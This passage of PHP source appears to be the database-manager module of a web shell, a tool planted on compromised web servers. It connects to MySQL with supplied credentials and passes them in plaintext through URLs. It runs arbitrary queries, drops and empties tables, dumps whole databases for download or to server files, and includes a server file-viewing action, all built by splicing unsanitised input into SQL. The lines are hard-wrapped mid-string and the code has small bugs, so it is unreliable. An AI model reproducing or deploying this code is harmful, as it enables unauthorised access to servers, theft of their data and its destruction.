if ($sql_server) {
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login,
$sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query
($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo ".: SQL Manager :.<br>";
if (!$sql_sock) {
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "Can't connect! ".$err;}
}
else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=
".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login
=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=
".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars
($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=
".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
echo "MySQL ".mysql_get_server_info()." (proto
v.".mysql_get_proto_info ().") running in ".htmlspecialchars
($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars
($sql_login)."@".htmlspecialchars($sql_server)." (password - \
"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item)
{echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is
null, login is owner of process.<li>If host is null, host is localhost</b>
<li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1
valign=\"top\">";
echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the
form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>
Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=
\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\
"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\
"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input
type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr>
<td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input
type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></
td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\
" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr>
<tr><td></td></tr></form></table></td>";
}
else {
//Start left panel
if (!empty($sql_db)) {
?><td width="25%" height="100%" valign="top"><a href="<?php echo
$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=
".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars
($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b>
</a><hr size="1" noshade>
<?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else {
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars
($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query
("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count);
echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."
&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</
b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else {
?><td width="1" height="100" valign="top"><a href="<?php echo
$sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
<?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else {
?><form action="<?php echo $surl; ?>"><input type="hidden" name=
"act" value="sql"><input type="hidden" name="sql_login" value="<?php echo
htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd"
value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden"
name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo htmlspecialchars
($sql_port); ?>"><select name="sql_db">
<?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\
"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">
".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1"
noshade><input type="submit" value="Go"></form>
<?php
}
//End left panel
echo "</td><td width=\"100%\">";
//Start center panel
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s)
in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item)
{echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach
($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl
as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls =
$boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act =
"dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE";
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE";
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE";
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE";
foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr
($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty
($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else
{foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."`
WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act =
"query";}
elseif ($sql_tbl_act == "insert") {
if ($sql_tbl_insert_radio == 1) {
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct =
$sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .=
"'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", ";
$i++;}
if (!empty($values)) {$values = substr($values,0,strlen
($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES (
".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_radio == 2) {
$set = mysql_buildwhere($sql_tbl_insert,",
",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE
".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query") {
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!
$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</
b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\
"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\
"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";}
else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\"
cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br>
<br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\
"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input
type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\
"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\
" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\">
</form></td></tr></table>";}
}
if (in_array($sql_act,$acts)) {
?><table border="0" width="100%" height="1"><tr><td width="30%"
height="1"><b>Create new table:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="act" value="sql">
<input type="hidden" name="sql_act" value="newtbl">
<input type="hidden" name="sql_db" value="<?php echo
htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo
htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo
htmlspecialchars($sql_server); ?>">
<input type="hidden" name="sql_port" value="<?php echo
htmlspecialchars($sql_port); ?>">
<input type="text" name="sql_newtbl" size="20">
<input type="submit" value="Create">
</form></td>
<td width="30%" height="1"><b>Dump DB:</b>
<form action="<?php echo $surl; ?>">
<input type="hidden" name="act" value="sql">
<input type="hidden" name="sql_act" value="dump">
<input type="hidden" name="sql_db" value="<?php echo
htmlspecialchars($sql_db); ?>">
<input type="hidden" name="sql_login" value="<?php echo
htmlspecialchars($sql_login); ?>">
<input type="hidden" name="sql_passwd" value="<?php echo
htmlspecialchars($sql_passwd); ?>">
<input type="hidden" name="sql_server" value="<?php echo
htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port"
value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name=
"dump_file" size="30" value="<?php echo "dump_".getenv
("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type
="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height=
"1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height=
"1"></td><td width="30%" height="1"></td></tr></table>
<?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been
created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\
".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_act == "dump") {
if (empty($submit)) {
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\
" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\">
<input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars
($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\
"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\
"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\
"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\">
<input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars
($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\
"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\
"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></
b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\
"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv
("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b>&nbsp;<input type=\"text\" name=\
"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) %
30)."\"><br><br>";
echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\
"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\"
name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\
"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else {
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";
",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download) {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\
"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile) {
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can't write to \
"".htmlspecialchars($sql_dump_file)."\"!";}
else {
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \
"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize
($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay) {
if (!empty($sql_tbl)) {
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;
");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result))
{$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2) {
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls."
, ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars
($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]."
rows)</b></center>";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&
sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</
b>";}
if ($sql_tbl_act == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { } //Not Ready
else {
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q)) {
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br>
<br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><table width=\"1%\" border=1><tr>
<td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>
Value</b></td></tr>";
foreach ($tbl_struct_fields as $field) {
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>
".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs
[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>
PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII
</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</
option><option>COUNT</option><option>AVG</option><option>SUM</option>
<option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</
option><option>UCASE</option><option>NOW</option><option>CURDATE</option>
<option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</
option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>
TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option>
<option>WEEKDAY</option><option>CONCAT</option></select></td><td><input
type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\
"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value
=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert
as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\"
name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "
<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars
($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>
";
}
}
if ($sql_tbl_act == "browse") {
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\"
width=\"10\" alt=\"Pages\">&nbsp;";
$b = 0;
for($i=0;$i<$numpages;$i++) {
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage !=
$sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."
&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&
sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage !=
$sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo "&nbsp;";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\"
value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\
"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\"
value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\
"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\
"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\">
<input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars
($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\
"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\"
value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\
"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&
nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&
nbsp;<input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0
borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000
borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\
"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++) {
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=
".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&
sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=
".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&
sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\"
height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w
.= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\
"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode
($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&
sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\
"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\
"13\" width=\"11\" border=\"0\"></a>&nbsp;";
echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=
".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=
".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\
"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\"
border=\"0\"></a>&nbsp;";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\
"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></
form></p>";
}
}
else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><TABLE cellSpacing=0
borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000
borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\
"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td>
<b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified
</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\
"".$row["Name"]."\"></td>";
echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row
["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=
".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=
img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=
\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=
".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=
img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\
"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row
["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\
"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>+</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\
"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></
form></p>";
mysql_free_result($result);
}
}
}
}
}
else {
$acts = array
("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height
="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?
php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type
="hidden" name="sql_act" value="newdb"><input type="hidden" name=
"sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type
="hidden" name="sql_passwd" value="<?php echo htmlspecialchars
($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo
htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port"
value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name=
"sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></
td><td width="30%" height="1"><b>View File:</b><form action="<?php echo
$surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden"
name="sql_act" value="getfile"><input type="hidden" name="sql_login" value=
"<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name=
"sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input
type="hidden" name="sql_server" value="<?php echo htmlspecialchars
($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo
htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size
="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input
type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr>
<tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td
width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_act)) {
echo "<hr size=\"1\" noshade>";
if ($sql_act == "newdb") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo
"DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b>
<br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_act == "serverstatus") {
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000
borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td>
</tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>
".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_act == "servervars") {
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000
